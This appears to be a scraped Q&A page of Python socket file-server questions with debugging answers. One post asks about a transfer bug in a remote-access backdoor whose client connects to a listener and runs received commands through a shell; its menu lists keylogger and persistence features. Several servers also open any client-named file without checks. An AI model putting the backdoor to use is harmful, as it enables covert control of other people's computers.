Python file server - python

I followed a tutorial to make this, and I'm trying to add an ls command so you can see the files to download. The code works, and all the prints return the right things, but the client only shows six letters of one of the files.
Server:
import socket
import threading
import os
def RetrFile(name, sock):
filename = sock.recv(1024)
if filename != "ls":
if os.path.isfile(filename):
sock.send("EXISTS " + str(os.path.getsize(filename)))
userResponse = sock.recv(1024)
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
sock.send(bytesToSend)
else:
sock.send("ERR ")
sock.close()
else:
dir_path = os.path.dirname(os.path.realpath(__file__))
retval = os.listdir(dir_path)
print retval
for ret in retval:
print ret
sock.send(ret)
def Main():
host = '192.168.0.125'
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(5)
print "Server Started."
while True:
c, addr = s.accept()
print "client connedted ip:<" + str(addr) + ">"
t = threading.Thread(target=RetrFile, args=("RetrThread", c))
t.start()
s.close()
if __name__ == '__main__':
Main()
Directory with the Python file (files to download): directory
Server Output: "client connedted ip:<('192.168.0.112', 49546)>
['runmeee.exe', 'Untitled.png', 'putty.exe', 'pyserver.py']
runmeee.exe
Untitled.png
putty.exe
pyserver.py"
Client output: runmee

Related

sockets cant upload file

I am tryin to develop a script that works on the client machine sending information to the server and uploading&downloading to/from client machine. However, when I try to upload a file, I see in my server machine that the file is sending the file but the client doesn't receive and shows no error. uploading code worked properly before I implemented into my main code. Sorry if there is misunderstanding in my explanation i am new at stackoverflow.
every help is welcome X
import socket
from socket import *
import subprocess
import json
import os
import tqdm
path = 'C:\\Users\HP PC\Desktop'
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Client:
def __init__(self, ip, port):
self.connection = socket(AF_INET, SOCK_STREAM)
self.connection.connect((ip, port))
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1').strip()
return json.loads(json_data)
except ValueError:
continue
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path
def down(self):
try:
received = self.connection.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
filename = os.path.basename(filename)
filesize = int(filesize)
progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "wb") as f:
while True:
bytes_read = self.connection.recv(BUFFER_SIZE)
if not bytes_read:
break
f.write(bytes_read)
progress.update(len(bytes_read))
except Exception as e:
print(e)
def run(self):
privilege = subprocess.check_output('whoami', shell=True)
self.connection.send(privilege)
while True:
command = self.reliable_recv()
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
continue
elif command[0] == '/cls':
continue
elif command[0] == 'upload':
self.down()
continue
# elif command[:3] == "cd ":
# try:
# os.chdir(path)
# except OSError as e:
# print(e)
else:
command_result = self.execute_system_command(command)
self.reliable_send(command_result.decode("ISO-8859-1").strip())
my_backdoor = Client('192.168.8.105', 6543)
my_backdoor.run()
Here is the server code:
import json
import os
import socket
import tqdm
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Listener:
def __init__(self, bind_ip, bind_port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((bind_ip, bind_port))
server.listen(0)
print("[*] Listening on ", str(bind_ip))
self.connection, addr = server.accept()
print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
receive = self.connection.recv(1024)
print("[+] This is " + receive.decode('ISO-8859-1'))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode().strip())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1')
return json.loads(json_data)
except ValueError:
continue
def upload(self):
filename = "v.png"
filesize = os.path.getsize(filename)
# send the filename and filesize
self.connection.send(f"{filename}{SEPARATOR}{filesize}".encode())
# start sending the file
progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "rb") as f:
while True:
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
# file transmitting is done
break
# we use sendall to assure transimission in
# busy networks
self.connection.sendall(bytes_read)
# update the progress bar
progress.update(len(bytes_read))
def run_command(self):
while True:
command = input(">")
command = command.split(" ")
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
print('''
quit => Quit the sessison
clear => Clear the screen
cd *dirname => Change directory on target machine
upload *filename =>Upload file to target machine
download *filename =>Download file from target machine
key_start =>Start the keylogger
key_dump =>Print the keystrokes target prompted
key_stop =>Stop and self destruct keylogger file
persistance *RegName* *filename =>Persistance in reboot
''')
continue
elif command[:3] == 'cd ':
pass
elif command[0] == 'upload':
self.upload()
continue
elif command[0] == '/cls':
os.system('cls')
continue
self.reliable_send(command)
result = self.reliable_recv()
print(result)
my_listener = Listener('192.168.8.105', 6543)
my_listener.run_command()
it doesnt show any errors and rest of the code is working properly.
Upload and download functions worked properly when I tried to test
but didnt work when i tried to implement into my main code

How to upload a file to server with Tkinter filedialog

I have a client that let user to browse a file and upload to a server. Currently I'm just using command terminal to operate the program. When user types in fup in the terminal, the program will ask for filename and the file will be uploaded to the server if the filename input by user is valid.
So, what I want now is letting user to browse any file directory from a GUI without typing the filename to upload. I've tried to implement filedialog but it seems like not working. When I browse and upload a file, the server does not receive any new file. I am stuck with issues almost a week already but still couldn't find any solution. Hope someone could help me. Thanks in advance.
Client.py
import socket, sys, os
from tkinter import filedialog
from tkinter import *
import time, shutil
root = Tk()
# socket creating
def sock():
try:
s = socket.socket()
host = input('Enter Target IP :')
port = 9999
s.connect((host, port))
return (host, s)
except:
print("Error: In binding")
sock()
host, s = sock()
# upload file to client
def fup(conn):
try:
filename = filedialog.askopenfilename(parent=root, initialdir="/", title='Please select a directory')
if os.path.isfile(filename):
conn.send(str("fup~" + filename).encode("utf-8"))
conn.send(str.encode("EXISTS " + str(os.path.getsize(filename))))
filesize = int(os.path.getsize(filename))
userResponse = conn.recv(1024).decode("utf-8")
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
conn.send(bytesToSend)
totalSend = len(bytesToSend)
while int(totalSend) < int(filesize):
bytesToSend = f.read(1024)
totalSend += len(bytesToSend)
conn.send(bytesToSend)
sys.stdout.write("\r|" + "█" * int((totalSend / float(filesize)) * 50) + "|{0:.2f}".format(
(totalSend / float(filesize)) * 100) + "% ")
sys.stdout.flush()
print("\nUpload Completed!")
else:
print("File Does Not Exist!")
except:
print("Error")
# download file from client
def fdown(conn):
try:
print(os.getcwd())
filename = input("\nMANO >>Filename? -> ")
if filename != 'q':
conn.send(("fdown~" + filename).encode("utf-8"))
data = conn.recv(1024).decode("utf-8")
if data[:6] == 'EXISTS':
filesize = data[6:]
msg = input("File exists, " + str(filesize) + "Bytes, download? (Y/N)? -> ").upper()
if msg == 'Y':
conn.send("OK".encode("utf-8"))
f = open(filename, 'wb')
data = (conn.recv(1024))
totalRecv = len(data)
f.write(data)
while int(totalRecv) < int(filesize):
data = conn.recv(1024)
totalRecv += len(data)
f.write(data)
sys.stdout.write("\r|" + "█" * int((totalRecv / float(filesize)) * 50) + "|{0:.2f}".format(
(totalRecv / float(filesize)) * 100) + "% ")
sys.stdout.flush()
time.sleep(0.01)
print("\nDownload Complete!")
f.close()
else:
print("File Does Not Exist!")
except:
print("Error")
# commands that perform on client
def mano(cip, conn):
fup(conn)
def run():
mano(host, s)
upload_button = Button(root, text="upload", command=run)
upload_button.place(x=130, y=17, width=50, height=22)
root.mainloop()
Server.py
import socket, os, subprocess, shutil, pickle, struct, threading
## gettig the hostname by socket.gethostname() method
hostname = socket.gethostname()
## getting the IP address using socket.gethostbyname() method
ip_address = socket.gethostbyname(hostname)
# Create a Socket ( connect two computers)
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
s = socket.socket()
except socket.error as msg:
create_socket()
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
s.bind((host, port))
s.listen(5)
## printing the hostname and ip_address
print(f"Hostname: {hostname}")
print(f"IP Address: {ip_address}")
print(f"Running Port: {port}")
except socket.error as msg:
bind_socket()
print(bind_socket())
# send file list
def flist(conn):
try:
arr = pickle.dumps(os.listdir())
conn.send(arr)
print(arr)
except:
conn.send(('Error').encode("utf-8"))
# accept file from server
def fdown(filename, conn):
try:
data = conn.recv(1024).decode("utf-8")
if data[:6] == 'EXISTS':
filesize = data[6:]
conn.send("OK".encode("utf-8"))
f = open(filename, 'wb')
data = (conn.recv(1024))
totalRecv = len(data)
f.write(data)
while int(totalRecv) < int(filesize):
data = conn.recv(1024)
totalRecv += len(data)
f.write(data)
f.close()
except:
conn.send(('Error').encode("utf-8"))
# send file
def fup(filename, conn):
if os.path.isfile(filename):
conn.send(str.encode("EXISTS " + str(os.path.getsize(filename))))
filesize = int(os.path.getsize(filename))
userResponse = conn.recv(1024).decode("utf-8")
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
conn.send(bytesToSend)
totalSend = len(bytesToSend)
while int(totalSend) < int(filesize):
bytesToSend = f.read(1024)
totalSend += len(bytesToSend)
conn.send(bytesToSend)
else:
conn.send("ERROR".encode("utf-8"))
# main
def main(s):
while True:
data = (s.recv(1024)).decode("utf-8").split('~')
if data[0] == 'fdown':
fup(data[1], s)
elif data[0] == 'fup':
fdown(data[1], s)
elif data[0] == 'flist':
flist(s)
else:
s.send(".".encode('utf-8'))
def socket_accept():
while True:
conn, address = s.accept()
t = threading.Thread(target=main, args=(conn,))
t.start()
create_socket()
bind_socket()
socket_accept()
**After I click on upload and it show uploaded compelte, but the server doesn't receive any new file.
Since you have used filedialog.askopenfilename() to get the filename which is a full pathname, like for example C:/Users/heng/PycharmProjects/testtest/New System/test.txt. So the server gets the same full pathname and try to create the output file. But it will fail if C:/Users/heng/PycharmProjects/testtest/New System/ does not exists in server side.
To fix the issue, either sending the filename part (without the directory information) in client side:
def fup(conn):
try:
filename = filedialog.askopenfilename(parent=root, initialdir="/", title='Please select a directory')
if os.path.isfile(filename):
_, basename = os.path.split(filename)
conn.send(str("fup~" + basename).encode("utf-8")) # use basename instead of filename
...
or remove the directory information in server side:
def fdown(fullname, conn): # renamed filename to fullname
_, filename = os.path.split(fullname) # get the filename part only
try:
...

Upload files from client to server and vice versa in python

Started to implement this project in C++, however I figured Python would be a better choice going forward for x-platform.
Goal here is to create a simple file server and then create a client. Client should be able to upload files to the server and download files from the server.
My code for the client is:
import socket
def Main():
host = '127.0.0.1'
port = 5000
s = socket.socket()
s.connect((host,port))
choice = raw_input("Upload or Download? (u/d):")
if choice == 'd':
filename = raw_input("File to Download? (q to quit): ")
if filename != 'q':
s.send(filename)
data = s.recv(1024)
if data[:6] == "EXISTS":
filesize = long(data[6:])
message = raw_input("File found on the server!," +str(filesize)+"bytes, continue with download? y/n:")
if message == "y":
s.send('OK')
f = open('new_'+filename, 'wb')
data = s.recv(1024)
totalRecv = len(data)
f.write(data)
while totalRecv < filesize:
data = s.recv(1024)
totalRecv += len(data)
f.write(data)
print ("Percentage Completed: "+"{0:.2f}".format((totalRecv/float(filesize))*100))
print ("File has been Downloaded!")
else:
print ("File doesnt exist!")
else:
filename = raw_input("File to Upload? (q to quit): ")
# if filename != 'q':
print ("Upload Function Coming Soon")
s.close()
if __name__ == '__main__':
Main()
The code for the server is:
import socket
import threading
import os
def RetrFile(name, sock):
filename = sock.recv(1024)
if os.path.isfile(filename):
sock.send("EXISTS" + str(os.path.getsize(filename)))
userResponse = sock.recv(1024)
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
sock.send(bytesToSend)
else:
sock.send("ERR")
sock.close()
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(5)
print ("Server Started")
while True:
c, addr = s.accept()
print ("Client Connected:") + str(addr) + ">"
t = threading.Thread(target=RetrFile, args=("retrThread", c))
t.start()
s.close()
if __name__ == '__main__':
Main()
I have it just fine for the download of the file, and thinking about it, I should be able to just reverse process for the upload portion of the client (instead of fetch the download, I basically copy the server part to perform the upload)...however I just cant seem to wrap my head around how to do so. I'm not worried at this point over the hard coded port etc---will fix that later, however does anyone have any suggestions going forward with this?
I need to emphasize that I am using python < v3 (I know--its old) however its a program limitation that I need to adhere to (hence the raw_input() v. input())

Type Error using Socket communication even while decoding to byte string

Hello I got a problem with a type error I cant get rid off.
I have build a server named processA.py and a client processB.py
I start the server calling processA and it starts up
I start the client calling processB and it starts up
Now I input the name of the file I want to send over a socket.
The image must be in the same folder as the programms.
You can use the sample code from below for reproducing the error.
I choose: lena.jpg
I get an error in line 15, in of my processA.py:
sock.send("EXISTS" + str(os.path.getsize(filenameByte))) TypeError: a
bytes-like object is required, not 'str'
processA.py
'''
Created on 29 Nov 2017
#author: Poor Student
'''
import numpy
import socket
import threading
import os
def RtrFile(name, sock):
filenameByte = sock.recv(1024)
filenameStr = filenameByte.decode('ascii')
if os.path.isfile(filenameStr):
sock.send("EXISTS" + str(os.path.getsize(filenameByte)))
userResponse = sock.recv(1024)
if userResponse[:2] == 'OK':
with open(filenameByte, 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
sock.send(bytesToSend)
else:
sock.send("ERR")
sock.close()
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(5)
print("server started.")
while True:
c, addr =s.accept()
print("client connected ip:< " + str(addr) +">")
t = threading.Thread(target = RtrFile, args=("rtrThread",c))
t.start()
s.close()
if __name__ == "__main__":
Main()
processB.py
'''
Created on 29 Nov 2017
#author: Poor Student
'''
import socket
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.connect((host,port))
filename = input("Filename? -> ")
if filename != "q":
s.send(filename.encode())
data = s.recv(1024)
if data[:6] == "EXISTS":
filesize = int(data[6:])
message = input("File Exists, " +str(filesize) + "Bytes, download? (Y/N)? ->")
if message == "Y" or message =="y":
s.send("OK")
f = open("new_" + filename, "wb")
data = s.recv(1024)
totalRecv = len(data)
f.write(data)
while totalRecv < filesize:
data = s.recv(1024)
totalRecv += len(data)
f.write(data)
print("(0:.f)".format((totalRecv)/float(filesize))*100 +"done")
print("Download Complete")
else:
print("File does not exists")#
s.close()
if __name__ == "__main__":
Main()
I found an answer. In python 3 you have allways convert your Strings to byte strings when sending them. After sending them to the receiver you have to decode them again and this must be done for the hole communication which is why the error allways shows up in the same module.
Process A:
'''
Created on 29 Nov 2017
#author: Happy student
'''
import numpy
import socket
import threading
import os
from idlelib.IOBinding import encoding
def RtrFile(name, sock):
filenameByte = sock.recv(1024)
filenameStr = filenameByte.decode('ascii')
print("FilenameStr",filenameStr)
if os.path.isfile(filenameStr):
print("Type:",type(filenameByte))
print(os.path.getsize(filenameByte))#
sendStr = "EXISTS" + str(os.path.getsize(filenameByte))
#Convert the string to byte because otherwise it will not be send
sock.send((sendStr.encode(encoding)))
userResponse = sock.recv(1024)
#the Responce will be received in byte and will be converted to a string to make it checkable
userResponceStr = userResponse.decode('ascii')
if userResponceStr[:2] == 'OK':
with open(filenameByte, 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
sock.send(bytesToSend)
else:
print("User response not known")
else:
sendStr = "ERR"
sock.send(sendStr.encode(encoding))
sock.close()
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(5)
print("server started.")
while True:
c, addr =s.accept()
print("client connected ip:< " + str(addr) +">")
t = threading.Thread(target = RtrFile, args=("rtrThread",c))
t.start()
s.close()
if __name__ == "__main__":
Main()
processB.py
'''
Created on 29 Nov 2017
#author: Happy student
'''
import socket
from idlelib.IOBinding import encoding
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.connect((host,port))
filename = input("Filename? -> ")
if filename != "q":
s.send(filename.encode())
data = s.recv(1024)
dataStr = data.decode('ascii')
if dataStr[:6] == "EXISTS":
filesize = int(dataStr[6:])
message = input("File Exists, " +str(filesize) + "Bytes, download? (Y/N)? ->")
if message == "Y" or message =="y":
sendStr = "OK"
s.send(sendStr.encode(encoding))
#create new file new_filename and
f = open("new_" + filename, "wb")
data = s.recv(1024)
totalRecv = len(data)
f.write(data)
while totalRecv < filesize:
data = s.recv(1024)
totalRecv += len(data)
f.write(data)
print("Download Complete")
else:
print(message +"was not noticed")
exit()
else:
print("File does not exists")#
s.close()
if __name__ == "__main__":
Main()

print contents of file - python socket

I'm trying to print the contents of a file to the client using the defined command 'get'. I am not getting the contents of the file instead the contents are getting over written with Server Says... get test.txt.
Here is my client code:
import socket
import sys
import os
HOST = 'localhost'
PORT = 8082
size = 1024
def ls():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send(userInput)
result = s.recv(size)
print result
s.close()
return
def put(commandName):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.connect((HOST, PORT))
socket1.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open(inputFile, 'rb') as file_to_send:
for data in file_to_send:
socket1.sendall(data)
print 'PUT Successful'
socket1.close()
return
def get(commandName):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.connect((HOST, PORT))
socket1.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open(inputFile, 'wb') as file_to_write:
while True:
data = socket1.recv(1024)
print data
if not data:
break
print data
file_to_write.write(data)
file_to_write.close()
print 'GET Successful'
#socket1.close()
return
done = False
while not done:
userInput = raw_input()
if "quit" == userInput:
done = True
elif "ls" == userInput:
ls()
else:
string = userInput.split(' ', 1)
if (string[0] == 'put'):
put(userInput)
elif (string[0] == 'get'):
get(userInput)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send(userInput)
data = s.recv(size)
s.close()
print 'Received:', data
And server code:
import socket
import os
import sys
host = ''
port = 8082
backlog = 5
size = 1024
serverID = socket.gethostbyname(socket.gethostname())
info = 'SERVER ID: {} port: {}'.format(serverID, port)
print info
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
done = False
# Loop until client sends 'quit' to server
while not done:
client, address = s.accept()
data = client.recv(size)
print "Server received: ", data
if data:
client.send("Server Says... " + data)
if data == "quit":
done = True
elif data == "ls":
data = os.listdir("C://")
client.send(data[0])
else:
string = data.split(' ', 1)
dataFile = string[1]
if (string[0] == 'put'):
with open(dataFile, 'wb') as file_to_write:
while True:
data = client.recv(1024)
if not data:
break
file_to_write.write(data)
file_to_write.close()
break
print 'Receive Successful'
elif (string[0] == 'get'):
with open(dataFile, 'rb') as file_to_send:
for data in file_to_send:
client.send(data)
print 'Send Successful'
client.close()
s.close()
print "Server exiting."
You are getting the content of the file but it is empty... and your code works just because you probably run it in the same directory.
Your client open file to write (and then it is empty) and the server reads it (both code use the same file name). You probably wanted to read file from C:\ so you should change server code and replace line:
with open(dataFile, 'rb') as file_to_send:
with:
with open('C:\\' + dataFile, 'rb') as file_to_send:
No matter what you send to the server this condition is true so you get "server says..."
if data:
client.send("Server Says... " + data)
You have also several flaws in you client I think. Like your commands are sent 2 times: once in the client 'main' when you do:
s.send(userInput)
And once in the functions like get and ls :
socket1.send(commandName)

Categories

Resources